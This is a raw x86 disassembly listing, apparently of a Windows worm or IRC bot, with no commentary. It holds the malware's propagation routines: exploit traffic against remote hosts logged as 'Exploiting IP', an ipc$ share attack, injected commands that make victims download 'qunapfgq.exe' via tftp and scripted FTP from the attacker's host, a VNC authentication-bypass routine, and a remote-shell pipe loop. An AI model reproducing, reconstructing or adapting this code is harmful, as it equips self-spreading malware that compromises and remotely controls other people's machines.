mov edi, esp
rep movsd
call sub_40DCF9
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E14C
push dword ptr [ebp-4]
jmp short loc_40E1C4
; ---------------------------------------------------------------------------
loc_40E14C: ; CODE XREF: .text:0040E145j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E164
loc_40E161: ; CODE XREF: .text:0040E176j
push esi
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E164: ; CODE XREF: .text:0040E15Fj
push ebx
push 48h
push offset dword_432424
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E161
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E1A5
push dword ptr [ebp-8]
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E1A5: ; CODE XREF: .text:0040E19Ej
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1D1
loc_40E1BD: ; CODE XREF: .text:0040E162j
; .text:0040E1A3j
call sub_41BA91
pop ecx
push edi
loc_40E1C4: ; CODE XREF: .text:0040E14Aj
call dword_4CBA6C ; closesocket
loc_40E1CA: ; CODE XREF: .text:0040DF7Dj
; .text:0040DFCCj ...
xor eax, eax
jmp loc_40E28D
; ---------------------------------------------------------------------------
loc_40E1D1: ; CODE XREF: .text:0040E1BBj
call sub_41BA91
pop ecx
push edi
call dword_4CBA6C ; closesocket
loc_40E1DE: ; CODE XREF: .text:0040E0AFj
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41C266
add esp, 0Ch
xor esi, esi
loc_40E1F8: ; CODE XREF: .text:0040E218j
lea eax, [ebp-234h]
push eax
call sub_415E19
test eax, eax
pop ecx
jnz short loc_40E21C
push 1388h
call ds:dword_427080 ; Sleep
inc esi
cmp esi, 6
jl short loc_40E1F8
jmp short loc_40E28A
; ---------------------------------------------------------------------------
loc_40E21C: ; CODE XREF: .text:0040E207j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41C266
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E268
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
add esp, 14h
loc_40E268: ; CODE XREF: .text:0040E249j
lea eax, [ebp-234h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E28A: ; CODE XREF: .text:0040E21Aj
push 1
pop eax
loc_40E28D: ; CODE XREF: .text:0040E1CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_433290
push eax
call dword_4CB9D4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E3CA
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E3CA
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC ; recv
mov edi, offset aQunapfgq_exe ; "qunapfgq.exe"
push edi
push edi
push [ebp+arg_0]
call sub_40AA06
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 18h
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E3CA
push 1F4h
call ds:dword_427080 ; Sleep
push edi
push offset aS ; "%s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E3CE
loc_40E3CA: ; CODE XREF: sub_40E292+51j
; sub_40E292+67j ...
xor al, al
jmp short loc_40E3EC
; ---------------------------------------------------------------------------
loc_40E3CE: ; CODE XREF: sub_40E292+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_4CB9EC ; recv
push ebx
call dword_4CBA6C ; closesocket
mov al, 1
loc_40E3EC: ; CODE XREF: sub_40E292+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_40E292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3F1 proc near ; CODE XREF: .text:0040E946p
; .text:0040E968p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41C500
mov eax, dword_43341C
push ebx
mov [ebp+var_10], eax
mov eax, dword_433420
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40E430: ; CODE XREF: sub_40E3F1+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40E430
push 60h
lea eax, [ebp+var_B4]
push offset dword_432EA0
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41CD20
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_3+3)
push eax
call sub_41B9C0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41CD20
lea eax, [ebp+var_3C]
push eax
call sub_41B9C0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41CD20
mov ax, word_433290
add esp, 2Ch
push eax
call dword_4CB9D4 ; htons
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_432BA0
call sub_41CD20
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40E5ED
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_41BF70
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4332D0[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_41CD20
mov esi, offset dword_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11AC]
push offset dword_433408
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_41CD20
add esp, 40h
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41CD20
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40E5A6: ; CODE XREF: sub_40E3F1+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40E5A6
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41BF70
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41BF70
add esp, 18h
jmp short loc_40E644
; ---------------------------------------------------------------------------
loc_40E5ED: ; CODE XREF: sub_40E3F1+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41BF70
mov esi, offset dword_432AF0
push esi
call sub_41B9C0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41CD20
lea eax, [ebp+var_10]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41CD20
mov eax, dword_4332D0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40E644: ; CODE XREF: sub_40E3F1+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41BF70
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E683
loc_40E67C: ; CODE XREF: sub_40E3F1+2B9j
; sub_40E3F1+2E0j ...
xor al, al
jmp loc_40E82B
; ---------------------------------------------------------------------------
loc_40E683: ; CODE XREF: sub_40E3F1+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 68h
push offset dword_432F04
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 0A0h
push offset dword_432F70
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
cmp [ebp+arg_C0], ebx
jz loc_40E799
push 68h
lea eax, [ebp+var_89B4]
push offset dword_433128
push eax
call sub_41CD20
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41CD20
push 70h
lea eax, [ebp+var_68DC]
push offset dword_433194
push eax
call sub_41CD20
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41CD20
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_433208
push eax
call sub_41CD20
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40E7EF
; ---------------------------------------------------------------------------
loc_40E799: ; CODE XREF: sub_40E3F1+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_433014
push eax
call sub_41CD20
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41CD20
push 90h
lea eax, [ebp+var_245C]
push offset off_433094
push eax
call sub_41CD20
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40E7EF: ; CODE XREF: sub_40E3F1+3A6j
push eax
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E67C
push 12Ch
call ds:dword_427080 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E292
add esp, 0BCh
test al, al
setnz al
loc_40E82B: ; CODE XREF: sub_40E3F1+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40E3F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E929
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E929
push edi
push 89h
push offset dword_432C88
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
mov esi, 640h
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
push edi
push 0A8h
push offset dword_432D14
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
push edi
push 0DEh
push offset dword_432DC0
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E929
push edi
lea eax, [ebp-854h]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
movsx eax, byte ptr [ebp-810h]
sub eax, 30h
jz short loc_40E933
dec eax
jz short loc_40E930
loc_40E929: ; CODE XREF: .text:0040E884j
; .text:0040E89Aj ...
xor eax, eax
jmp loc_40E9F6
; ---------------------------------------------------------------------------
loc_40E930: ; CODE XREF: .text:0040E927j
push edi
jmp short loc_40E957
; ---------------------------------------------------------------------------
loc_40E933: ; CODE XREF: .text:0040E924j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jnz short loc_40E977
push 1
loc_40E957: ; CODE XREF: .text:0040E931j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3F1
add esp, 0C4h
test al, al
jz short loc_40E97E
loc_40E977: ; CODE XREF: .text:0040E953j
mov dword ptr [ebp-4], 1
loc_40E97E: ; CODE XREF: .text:0040E975j
push ebx
call dword_4CBA6C ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40E9F3
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-214h]
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-214h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E9F3: ; CODE XREF: .text:0040E989j
push 1
pop eax
loc_40E9F6: ; CODE XREF: .text:0040E92Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_4271F0 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_4271F4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EAC9
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40EAC9
mov edi, 400h
push esi
mov esi, ds:dword_4271FC
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset aQunapfgq_exe ; "qunapfgq.exe"
push eax
push eax
push dword_4CB710
push [ebp+arg_0]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_427208 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EACD
loc_40EAC9: ; CODE XREF: sub_40E9FB+50j
; sub_40E9FB+62j
xor eax, eax
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EACD: ; CODE XREF: sub_40E9FB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_427200 ; closesocket
push 1
pop eax
loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp
; DATA XREF: .data:off_4317FCo
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CBA14 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_427204 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB5B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_4271F8 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EB3C
push esi
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej
push 0
push 1213h
push offset dword_433424
push esi
call ds:dword_427208 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB5F
loc_40EB55: ; CODE XREF: sub_40EAE9+51j
call ds:dword_427200 ; closesocket
loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj
xor eax, eax
jmp short loc_40EBA1
; ---------------------------------------------------------------------------
loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj
call ds:dword_427200 ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9FB
add esp, 0C0h
test eax, eax
jz short loc_40EB9E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej
push 1
pop eax
loc_40EBA1: ; CODE XREF: sub_40EAE9+74j
pop edi
pop esi
leave
retn
sub_40EAE9 endp
; =============== S U B R O U T I N E =======================================
sub_40EBA5 proc near ; CODE XREF: .text:0040EC93p
; .text:0040ECF5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj
test edi, edi
jle short loc_40EBD8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CB9EC ; recv
test eax, eax
jz short loc_40EBD4
cmp eax, 0FFFFFFFFh
jz short loc_40EBD4
sub edi, eax
add esi, eax
jmp short loc_40EBAD
; ---------------------------------------------------------------------------
loc_40EBD4: ; CODE XREF: sub_40EBA5+22j
; sub_40EBA5+27j
xor eax, eax
jmp short loc_40EBDB
; ---------------------------------------------------------------------------
loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj
push 1
pop eax
loc_40EBDB: ; CODE XREF: sub_40EBA5+31j
pop edi
pop esi
retn
sub_40EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_40EBDE proc near ; CODE XREF: .text:0040ECDFp
; .text:0040ED0Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EC1B
xor esi, esi
test edi, edi
jle short loc_40EC15
loc_40EBEE: ; CODE XREF: sub_40EBDE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40EC1B
test eax, eax
jz short loc_40EC1B
add esi, eax
cmp esi, edi
jl short loc_40EBEE
loc_40EC15: ; CODE XREF: sub_40EBDE+Ej
push 1
pop eax
loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EC1B: ; CODE XREF: sub_40EBDE+8j
; sub_40EBDE+2Bj ...
xor eax, eax
jmp short loc_40EC18
sub_40EBDE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_4346DC
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC4D
push eax
jmp short loc_40EC81
; ---------------------------------------------------------------------------
loc_40EC4D: ; CODE XREF: .text:0040EC48j
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CB9D4 ; htons
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EC8C
push ebx
loc_40EC81: ; CODE XREF: .text:0040EC4Bj
call dword_4CBA6C ; closesocket
jmp loc_40EE87
; ---------------------------------------------------------------------------
loc_40EC8C: ; CODE XREF: .text:0040EC7Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41CCE3
add esp, 10h
cmp eax, esi
jnz loc_40EE80
cmp dword ptr [ebp-28h], 3
jz short loc_40ECD8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE80
loc_40ECD8: ; CODE XREF: .text:0040ECCCj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE80
push 1
push offset word_4CB88C
push ebx
call sub_40EBDE
add esp, 0Ch
test eax, eax
jz loc_40EE80
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EBA5
add esp, 0Ch
test eax, eax
jz loc_40EE80
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D9A5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EE10
push edi
push esi
push ebx
call sub_40EBA5
add esp, 0Ch
loc_40EE10: ; CODE XREF: .text:0040EE03j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
lea eax, [ebp-24Ch]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431800[eax]
push ebx
lea eax, dword_431800[eax]
call ds:dword_427200 ; closesocket
push 1
pop eax
jmp short loc_40EE89
; ---------------------------------------------------------------------------
loc_40EE80: ; CODE XREF: .text:0040EC9Dj
; .text:0040ECC2j ...
push ebx
call ds:dword_427200 ; closesocket
loc_40EE87: ; CODE XREF: .text:0040EC87j
xor eax, eax
loc_40EE89: ; CODE XREF: .text:0040EE7Ej
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EE8E proc near ; DATA XREF: sub_40EF1C+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE97: ; CODE XREF: sub_40EE8E+25j
; sub_40EE8E+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4CE708
call dword_4CB9EC ; recv
test eax, eax
jle short loc_40EE97
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4CE704
call ds:dword_4270F0 ; WriteFile
jmp short loc_40EE97
sub_40EE8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EED1 proc near ; DATA XREF: sub_40EF1C+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEDA: ; CODE XREF: sub_40EED1+2Fj
; sub_40EED1+49j
lea eax, [ebp+var_4]
